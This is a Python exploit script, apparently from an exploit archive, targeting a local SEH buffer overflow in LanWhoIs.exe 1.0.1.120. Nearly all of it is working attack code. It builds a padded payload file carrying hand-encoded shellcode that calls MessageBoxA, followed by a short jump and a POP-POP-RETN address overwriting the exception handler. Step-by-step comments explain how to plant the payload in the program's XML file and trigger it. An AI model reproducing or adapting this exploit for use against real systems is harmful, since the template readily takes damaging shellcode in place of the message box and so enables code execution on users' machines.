#!/usr/bin/python
# -*- coding: utf-8 -*-
### LanWhoIs.exe 1.0.1.120 SEH Local Buffer Overflow Exploit by H3ku ###
# Date: 2016-10-26
# Exploit Author: H3ku
# Exploit Title: LanWhoIs.exe 1.0.1.120 SEH Overflow Exploit
# Vendor Homepage: http://lantricks.com
# Software Link: https://www.exploit-db.com/apps/70189a2b11bf85245ebcc00b603b5def-lanwhois_setup.exe
# Version: 1.0.1.120
# Tested on: Win7 64bit - Win10 64bits
# Credits
# =======
# PoC by: hyp3rlinx - http://hyp3rlinx.altervista.org
# https://www.exploit-db.com/exploits/38404/
# Thanks to n30m1nd for clarifying my doubts in the amazing world of exploiting!
# How to
# ======
# * Run this python script. It will generate an "exploit.txt" file.
# * Copy the contents in to C:\Program Files (x86)\LanTricks\LanWhoIs\whois_result.xml (Parameter <QueryString>)
# * Select the address in the Results window pane and then click Query button to run a whois lookup or use 'F3'
# * MessageBoxA is called on an infinite loop since the exception handler is triggered all the time
# Exploit code
# ============
import struct
# MessageBoxA in 00404A2C
shellcode = ("\x25\x41\x41\x41"
"\x41\x25\x32\x32"
"\x32\x32\x50\x68"
"\x70\x77\x6E\x64"
"\x54\x5F\x50\x57"
"\x57\x50\x35\x51"
"\x7A\x70\x50\x35"
"\x7D\x30\x30\x50"
"\x50\xC3")
payload = "A"*550
payload += shellcode
payload += "A"*(126-len(shellcode))
nseh = "\xEB\x80\x90\x90" #jmp $-126
seh = struct.pack("<L", 0x00402b56) #POP ECX - POP EBP - RETN
payload += nseh + seh
with open("exploit.txt", "wb") as f:
f.write(payload[:-1])
f.close()
